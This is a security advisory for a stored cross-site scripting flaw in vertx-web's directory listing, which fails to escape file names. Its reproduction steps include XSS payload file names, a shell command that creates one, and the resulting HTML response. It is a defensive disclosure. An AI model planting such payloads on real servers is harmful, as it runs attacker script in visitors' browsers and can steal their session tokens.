Skip to content

Stored Cross-site Scripting in directory listings via file names

Low
vietj published GHSA-45p5-v273-3qqr Oct 22, 2025

Package

maven io.vertx:vertx-web (Maven)

Affected versions

< 4.5.22
5.0.0 to 5.0.4

Patched versions

4.5.22
5.0.5

Description

Description

  • In the StaticHandlerImpl#sendDirectoryListing(...) method under the text/html branch, file and directory names are directly embedded into the href, title, and link text without proper HTML escaping.
  • As a result, in environments where an attacker can control file names, injecting HTML/JavaScript is possible. Simply accessing the directory listing page will trigger an XSS.
  • Affected Code:
    • File: vertx-web/src/main/java/io/vertx/ext/web/handler/impl/StaticHandlerImpl.java
    • Lines:
      • 709–713: normalizedDir is constructed without escaping
      • 714–731: <li><a ...> elements insert file names directly into attributes and body without escaping
      • 744: parent directory name construction
      • 746–751: {directory}, {parent}, and {files} are inserted into the HTML template without escaping

Reproduction Steps

  1. Prerequisites:

    • Directory listing is enabled using StaticHandler
      (e.g., StaticHandler.create("public").setDirectoryListing(true))
    • The attacker has the ability to create arbitrary file names under a public directory (e.g., via upload functionality or a shared directory)
  2. Create a malicious file name (example for Unix-based OS):

    • Create an empty file in public/ with one of the following names:
      • <img src=x onerror=alert('XSS')>.txt
      • Or attribute injection: evil" onmouseover="alert('XSS')".txt
    • Example:
      mkdir -p public
      printf 'test' > "public/<img src=x onerror=alert('XSS')>.txt"
  3. Start the server (example):

    • Routing: router.route("/public/*").handler(StaticHandler.create("public").setDirectoryListing(true));
    • Server: vertx.createHttpServer().requestHandler(router).listen(8890);
  4. Verification request (raw HTTP):

    GET /public/ HTTP/1.1
    Host: 127.0.0.1:8890
    Accept: text/html
    Connection: close
    
  5. Example response excerpt:

    <ul id="files">
      <li>
        <a href="/public/<img src=x onerror=alert('XSS')>.txt"
           title="<img src=x onerror=alert('XSS')>.txt">
           <img src=x onerror=alert('XSS')>.txt
        </a>
      </li>
      ...
    </ul>
  • When accessing /public/ in a browser, the unescaped file name is interpreted as HTML, and event handlers such as onerror are executed.

Potential Impact

  • Stored XSS

    • Arbitrary JavaScript executes in the browser context of users viewing the listing page
    • Possible consequences:
      • Theft of session tokens, JWTs, localStorage contents, or CSRF tokens
      • Unauthorized actions with admin privileges (user creation, permission changes, settings modifications)
      • Watering hole attacks, including malware distribution or malicious script injection to other pages
  • Common Conditions That Make Exploitation Easier

    • Uploaded files are served directly under a publicly accessible directory
    • Shared/synced directories (e.g., NFS, SMB, WebDAV, or cloud sync) are exposed
    • ZIP/TAR archives are extracted directly under the webroot and directory listing is enabled in production environments

Similar CVEs Previously Reported

  • CVE‑2024‑32966
  • CVE‑2019‑15603

Severity

Low

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity High
Attack Requirements Present
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality Low
Integrity Low
Availability None
Subsequent System Impact Metrics
Confidentiality Low
Integrity Low
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

CVE ID

CVE-2025-11966

Weaknesses

No CWEs